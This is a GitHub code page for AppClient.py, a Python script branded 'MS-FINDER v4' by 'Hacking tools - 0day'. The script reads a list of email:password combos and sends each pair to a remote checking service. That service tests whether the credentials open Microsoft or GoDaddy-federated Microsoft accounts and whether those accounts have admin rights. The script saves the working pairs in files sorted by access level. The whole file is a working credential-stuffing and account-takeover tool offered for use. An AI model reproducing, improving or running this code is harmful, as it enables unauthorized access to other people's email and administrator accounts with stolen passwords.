forked from ta9ra9pa9/MS-FINDER
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAppClient.py
More file actions
194 lines (146 loc) · 6.51 KB
/
Copy pathAppClient.py
File metadata and controls
194 lines (146 loc) · 6.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#!/usr/local/bin/python
# -*- coding: utf-8 -*-
import os , time , json , platform
from datetime import date
from threading import *
try:
import requests
except:
print( "Please follow this command or contact me ! 'pip install requests' OR 'python3 install requests' ")
exit()
try:
from queue import Queue
except:
print( "Please follow this command or contact me ! 'pip install queue' OR 'python3 install queue' ")
exit()
def Logo( ):
print("""
***************************************************************
__ __ _____ ______ _____ _ _ _____ ______ _____
| \/ |/ ____| | ____|_ _| \ | | __ \| ____| __ \
| \ / | (___ ______| |__ | | | \| | | | | |__ | |__) |
| |\/| |\___ \______| __| | | | . ` | | | | __| | _ /
| | | |____) | | | _| |_| |\ | |__| | |____| | \ \
|_| |_|_____/ |_| |_____|_| \_|_____/|______|_| \_\ v4
Hacking tools - 0day , Welcome User {} !
***************************************************************
""".format( USERNAMEHANYA ) )
class Worker(Thread):
def __init__(self, tasks):
Thread.__init__(self)
self.tasks = tasks
self.daemon = True
self.start()
def run(self):
while True:
func, args, kargs = self.tasks.get()
try:
func(*args, **kargs)
except Exception as e:
print(e)
self.tasks.task_done()
class ThreadPool:
def __init__(self, num_threads):
self.tasks = Queue(num_threads)
for _ in range(num_threads): Worker(self.tasks)
def add_task(self, func, *args, **kargs):
self.tasks.put((func, args, kargs))
def wait_completion(self):
self.tasks.join()
def set_terminal_title(title):
if platform.system() == "Windows":
os.system(f"title {title}")
elif platform.system() == "Linux" or platform.system() == "Darwin":
os.system(f"echo -en '\033]0;{title}\a'")
elif platform.system() == "SunOS":
os.system(f"echo -n '\033]l{title}\033\\'")
elif platform.system() == "FreeBSD":
os.system(f"echo -n '\033]0;{title}\007'")
elif platform.system() == "AIX":
os.system(f"echo -n '\033]0;{title}\007'")
elif platform.system() == "HP-UX":
os.system(f"echo -n '\033]0;{title}\007'")
elif platform.system() == "OSF1":
os.system(f"echo -n '\033]0;{title}\007'")
elif platform.system() == "SCO_SV":
os.system(f"echo -n '\033]0;{title}\007'")
elif platform.system() == "IRIX64":
os.system(f"echo -n '\033]0;{title}\007'")
def make_dirs():
global i , USERNAMEHANYA , MySubDomain
set_terminal_title( "ADMIN FINDER V4 -- BY HACKING TOOLS 0DAY" )
try:
with open('token.json', 'r') as file:
data = json.load(file)
USERNAMEHANYA = data['USERNAME']
MySubDomain = data['MySubDomain']
except:
print( "Missing token.json !" )
exit()
rr = requests.get( "{}/{}/ChecksTatus".format( MySubDomain , USERNAMEHANYA ) , headers={ "User-agent": "User-%s" % USERNAMEHANYA } ).json()
Logo( )
if not rr["Working"]:
print("Sorry , {} , Please Cotact me !".format( rr["Status"] ) )
exit()
else:
pass
i = "./{0}/".format( date.today().strftime("MS-%m-%d-%Y") )
if not os.path.exists(i):
os.makedirs(i)
lists = [ "Microsoft/Administrator/" ,"Microsoft/User/" ,"Microsoft/Dead/" , "OtherISP/" ]
for n in lists:
z = i + n
os.makedirs( z )
return i
else:
pass
time.sleep(1)
def Action( combo ):
def save_as( inputs , saveAs , saveString ):
with open( saveAs , "a" ) as ff:
ff.write( "%s\n" % saveString )
print( inputs )
def REQ_( email , password = None , Endpoint="Ms-Domain" , USERNAME=USERNAMEHANYA ):
if not password:
return requests.get( "{3}/{2}/{1}/{0}".format( email , Endpoint , USERNAME , MySubDomain ) , headers={ "User-agent": "User-%s" % USERNAME } , timeout=60 )
else:
return requests.post( "{}/{}/{}".format( MySubDomain , USERNAME , Endpoint ) , headers={ "User-agent": "User-%s" % USERNAME , "Content-Type" : "application/json" } , json={ "email" : email , "password" : password } , timeout=60 )
def Q_MS( combo ):
CheckGoddadyLogin = "CheckGoddadyLogin" # Check if Goddady # Check if Admin Goddady # Action 2
AdminFinderGoddady = "AdminFinderGoddady" # Check if Admin Goddady # Action 3
AdminFinderGlobal = "AdminFinderGlobal" # Check if Admin Goddady # Check if Admin Goddady # Action 4
email , password = combo.split(":")
if "@" in email:
First_ = REQ_( email ).json()
if First_["Valid"]:
if "sso.godaddy".__eq__( First_["Type_domain"] ): # check if it's a valid Email Goddady on Microsoft
THIRD_ = REQ_( email , password , AdminFinderGoddady ).json() # check if it's a valid Admin Access Goddady on Microsoft
if THIRD_["Working"]:
if THIRD_["Admin"]:
save_as( "[x] >>>>> Admin GOddady >>>> {}".format( email ) , "{}{}Godaddy__ADMIN.txt".format( i , "Microsoft/Administrator/" ) , combo )
else:
save_as( "[x] >>>>> User GOddady >>>> {}".format( email ) , "{}{}Godaddy__USER.txt".format( i , "Microsoft/User/" ) , combo )
else:
save_as( "[-] >> Ded GOddady >> {}".format( email ) , "{}{}Godaddy__DEAD.txt".format( i , "Microsoft/Dead/" ) , combo )
else:
FOURTH_ = REQ_( email , password , AdminFinderGlobal ).json() # check if it's a valid Admin Normal or Other accounts.
if FOURTH_["Admin"]:
save_as( "[x] >>>>> Admin {} >>>> {}".format( email , First_["Type_domain"] ) , "{}{}{}__ADMIN.txt".format( i , "Microsoft/Administrator/" , First_["Type_domain"] ) , combo )
elif FOURTH_["User"]:
save_as( "[x] >>>>> USER {} >>>> {}".format( email , First_["Type_domain"] ) , "{}{}{}__USER.txt".format( i , "Microsoft/User/" , First_["Type_domain"] ) , combo )
else:
save_as( "[-] >> DEAD {} >> {}".format( email , First_["Type_domain"] ) , "{}{}{}__DEAD.txt".format( i , "Microsoft/Dead/" , First_["Type_domain"] ) , combo )
else:
save_as( "[-] >> OTHER ISP {} >> {}".format( email , First_["Type_domain"] ) , "{}{}{}__DEAD.txt".format( i , "OtherISP/" , First_["Type_domain"] ) , combo )
else:
pass
Q_MS( combo )
# ~ set_terminal_title( "MS ADMIN [{}] USER [{}] Goddady [{}] GoddadyADMIN [{}] -- BY HACKING TOOLS 0DAY".format( ADMINWORKING__ , USER_WORKING__ , GOODADDY_USER_WORKING__ , GOODADDY_ADMIN_WORKING__ ) )
def main():
make_dirs()
readsplit = open( input("Please Give Me ListName : ") , encoding="utf-8" , errors="ignore" ).read().splitlines()
pool = ThreadPool( int( 3 ) )
for combo in readsplit:
pool.add_task( Action , combo )
if __name__ == "__main__":
main()